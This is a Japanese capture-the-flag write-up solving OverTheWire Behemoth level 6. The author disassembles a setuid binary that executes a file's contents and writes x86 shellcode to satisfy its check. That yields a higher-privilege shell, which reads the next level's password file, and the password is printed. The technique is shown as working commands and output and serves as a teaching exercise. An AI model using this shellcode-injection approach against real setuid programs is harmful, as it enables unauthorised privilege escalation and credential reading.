見出し画像

OverTheWire:Behemoth6

Behemoth もこの問題を入れて、残り2問になる。今回はレベル 6 。
レベル7にログインするためのパスワードを入手するのがゴールである。
さあ、始めよう。

前回の記事で入手したパスワードを使用して問題のサーバーに接続する。
ssh behemoth6@behemoth.labs.overthewire.org -p 2221

今回、解析するプログラムは  behemoth6  と behemoth6_reader の2つ。

behemoth6@behemoth:~$ ls -l /behemoth/
total 72
-r-sr-x--- 1 behemoth1 behemoth0 5900 Aug 26  2019 behemoth0
-r-sr-x--- 1 behemoth2 behemoth1 5036 Aug 26  2019 behemoth1
-r-sr-x--- 1 behemoth3 behemoth2 7536 Aug 26  2019 behemoth2
-r-sr-x--- 1 behemoth4 behemoth3 5180 Aug 26  2019 behemoth3
-r-sr-x--- 1 behemoth5 behemoth4 7488 Aug 26  2019 behemoth4
-r-sr-x--- 1 behemoth6 behemoth5 7828 Aug 26  2019 behemoth5
-r-sr-x--- 1 behemoth7 behemoth6 7564 Aug 26  2019 behemoth6  # <---
-r-xr-x--- 1 behemoth7 behemoth6 7528 Aug 26  2019 behemoth6_reader #<--
-r-sr-x--- 1 behemoth8 behemoth7 5676 Aug 26  2019 behemoth7

とりあえず実行してみる。

behemoth6@behemoth:~$ /behemoth/behemoth6
Incorrect output.
behemoth6@behemoth:~$ ltrace /behemoth/behemoth6
__libc_start_main(0x80485db, 1, 0xffffd764, 0x80486d0 <unfinished ...>
popen("/behemoth/behemoth6_reader", "r")        = 0x804b008
malloc(10)                                      = 0x804b0b8
fread(0x804b0b8, 10, 1, 0x804b008)              = 1
pclose(0x804b008 <no return ...>
--- SIGCHLD (Child exited) ---
<... pclose resumed> )                          = 0
strcmp("Couldn't o", "HelloKitty")              = -1
puts("Incorrect output."Incorrect output.
)                       = 18
+++ exited (status 0) +++

トレースの結果から判るのは、以下の2点。

<トレース結果から判明した動作>
1)  behemoth6 から behemoth6_reader が起動されている。
2)  behemoth6_reader の実行結果が "HelloKitty" かどうかチェックしている

behemoth6_reader の方はどんな動作をするプログラムだろう?
とりあえず、実行してみる。

behemoth6@behemoth:~$ ltrace /behemoth/behemoth6_reader 
__libc_start_main(0x80485ab, 1, 0xffffd754, 0x80486b0 <unfinished ...>
fopen("shellcode.txt", "r")                     = 0
puts("Couldn't open shellcode.txt!"Couldn't open shellcode.txt!
)            = 29
+++ exited (status 0) +++

shellcode.txt というファイルを読み込もうとしてエラーになった。
behemoth6_reader の動作を解析するため、逆アセンブルして調べてみる。

<逆アセンブル>
objdump -d -M intel /behemoth/behemoth6_reader

80485ab <main>:
80485ab:       8d 4c 24 04             lea    ecx,[esp+0x4]
80485af:       83 e4 f0                and    esp,0xfffffff0
80485b2:       ff 71 fc                push   DWORD PTR [ecx-0x4]
80485b5:       55                      push   ebp
80485b6:       89 e5                   mov    ebp,esp
80485b8:       51                      push   ecx
80485b9:       83 ec 24                sub    esp,0x24
80485bc:       83 ec 08                sub    esp,0x8
80485bf:       68 30 87 04 08          push   0x8048730
80485c4:       68 32 87 04 08          push   0x8048732
80485c9:       e8 c2 fe ff ff          call   8048490 <fopen@plt>
80485ce:       83 c4 10                add    esp,0x10

#---------------( 中略 )--------------------------

804868a:       8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
804868d:       3b 45 ec                cmp    eax,DWORD PTR [ebp-0x14]
8048690:       7c cb                   jl     804865d <main+0xb2>
8048692:       8b 45 e8                mov    eax,DWORD PTR [ebp-0x18]
8048695:       89 45 e4                mov    DWORD PTR [ebp-0x1c],eax
8048698:       8b 45 e4                mov    eax,DWORD PTR [ebp-0x1c]
804869b:       ff d0                   call   eax
804869d:       b8 00 00 00 00          mov    eax,0x0
80486a2:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
80486a5:       c9                      leave  

アセンブラのコードを眺めてみて、大体の動作が判った

<behemoth6_reader の動作>
1)  shellcode.txt  というファイルを開いて、メモリに読み込む
2)  読み込んだ内容の2バイト目の下位4ビットが 0x0b でないかをチェックする(cmp al,0xb)
3)  shellcode.txt を読み込んだメモリの先頭アドレスに制御を移す。(call eax)

つまり "HelloKitty" と画面に表示するコードを shellcode.txt  というファイル名で保存した後に問題のプログラムを実行すれば何とかなりそうだ。

ということで、シェルコード作成に取りかかろう。
シェルコードはアセンブラで書く必要がある。
画面に文字を表示するのはシステムコールの  write() を呼べばよい。
ソフトウェア割込の番号は  /usr/include/asm/unistd_32.h に書いてある。

$ grep  write /usr/include/asm/unistd_32.h  #define  __NR_write 4 #define  __NR_writev 146 #define  __NR_pwrite64 181 #define  __NR_pwritev 334 #define  __NR_process_vm_writev 348 #define  __NR_pwritev2 379

write() の割込み番号は 4番であることが判った。
ということで、"HelloKitty"を表示するプログラムを書いてみた。

bits 32
section .text
global _start
_start:
 jmp short kitty
main_proc:
 xor eax,eax
 mov ebx,eax
 mov ecx,eax
 inc al
 inc al
 inc al
 inc al       ; sys_write(04)
 inc bl       ; stdiout(01)
 pop ecx      ; address 'HelloKitty'
 mov dl, 11   ; length 
 int 0x80     ; syscall write(int fd, char* msg, int length)
 xor eax,eax
 inc al       ; sys_exit(01)
 int 0x80     ; syscall exit(1)
kitty:
 call main_proc 
 msg db 'HelloKitty'

これをアセンブルして生成されたマシン語を眺めてみる。

$ nasm -f elf32 hellokitty2.S
$ ld -m elf_i386 -o hellokitty2 hellokitty2.o
$ objdump -d -M intel hellokitty2 
hellokitty2:     ファイル形式 elf32-i386

セクション .text の逆アセンブル:
08049000 <_start>:
8049000:	eb 1b                	jmp    804901d <kitty>
08049002 <main_proc>:
8049002:	31 c0                	xor    eax,eax
8049004:	89 c3                	mov    ebx,eax
8049006:	89 c1                	mov    ecx,eax
8049008:	fe c0                	inc    al
804900a:	fe c0                	inc    al
804900c:	fe c0                	inc    al
804900e:	fe c0                	inc    al

だめだ!先頭2バイトが "eb1b"になっているので、2バイト目の下位4ビット が0x0b になっている。

幾つか試してみて、最初に ジャンプ命令(jmp)があると、2バイト目が 0x1bになることが判った。ということで、以下のようにコードを書き直した。

bits 32
section .text
global _start
_start:
 call main_proc 
 msg db 'HelloKitty'
main_proc:
 xor eax,eax
 mov ebx,eax
 mov ecx,eax
 inc al
 inc al
 inc al
 inc al       ; sys_write(04)
 inc bl       ; stdiout(01)
 pop ecx      ; address 'HelloKitty'
 mov dl, 10   ; length 
 int 0x80     ; syscall write(int fd, char* msg, int length)
 xor eax,eax
 inc al       ; sys_exit(01)
 int 0x80     ; syscall exit(1)

このプログラムをアセンブルして、マシン語を眺めてみる。

$ objdump -d -M intel hellokitty3
hellokitty3:     ファイル形式 elf32-i386

セクション .text の逆アセンブル:
08049000 <_start>:
8049000:	e8 0a 00 00 00       	call   804900f <main_proc>
08049005 <msg>:
8049005:	48                   	dec    eax
8049006:	65 6c                	gs ins BYTE PTR es:[edi],dx
8049008:	6c                   	ins    BYTE PTR es:[edi],dx
8049009:	6f                   	outs   dx,DWORD PTR ds:[esi]
804900a:	4b                   	dec    ebx
804900b:	69                   	.byte 0x69
804900c:	74 74                	je     8049082 <main_proc+0x73>
804900e:	79                   	.byte 0x79

先頭2バイトは  e8 0a になった。ヌルバイトが並んでいるのは気に食わないが、特にチェックしている様子も見えないので何とかなるかもしれない。

上記のダンプから以下のコマンドでマシン語部分を抽出すると以下のようなテキストファイルが出来上がる。

<コマンド>
objdump -d -M intel hellokitty3 | grep '^ ' | cut -f 2| perl -pe 's/(\w{2})\s+/\\x\1/g' > hellokitty3_code.txt

$ cat hellokitty3_code.txt 
\xe8\x0a\x00\x00\x00\x48\x65\x6c\x6c\x6f\x4b\x69\x74\x74\x79\x31\xc0\x89\xc3\x89\xc1\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc3\x59\xb2\x0a\xcd\x80\x31\xc0\xfe\xc0\xcd\x80

このファイルを以下のコマンドでバイナリに変換する。

<コマンド>
echo -ne $(cat hellokitty3_code.txt) > shellcode.txt

$ echo -ne $(cat hellokitty3_code.txt) > shellcode.txt
hage@Marcy:~/overthewire$ hexdump -C shellcode.txt 
00000000  e8 0a 00 00 00 48 65 6c  6c 6f 4b 69 74 74 79 31  |.....HelloKitty1|
00000010  c0 89 c3 89 c1 fe c0 fe  c0 fe c0 fe c0 fe c3 59  |...............Y|
00000020  b2 0a cd 80 31 c0 fe c0  cd 80                    |....1.....|

これで準備OK。
あとは 問題のプログラムを実行するだけだ。

behemoth6@behemoth:/tmp/foo$ /behemoth/behemoth6
Correct.
$ id
uid=13007(behemoth7) gid=13006(behemoth6) groups=13006(behemoth6)
$ cat /etc/behemoth_pass/behemoth7
baquoxuafo
$ 

想定通りに動作して、シェルが起動。
次レベル(behemoth7 )のパスワードを入手することができた。

めでたしめでたし。
今日はこれでおしまい!

この記事が気に入ったらサポートをしてみませんか?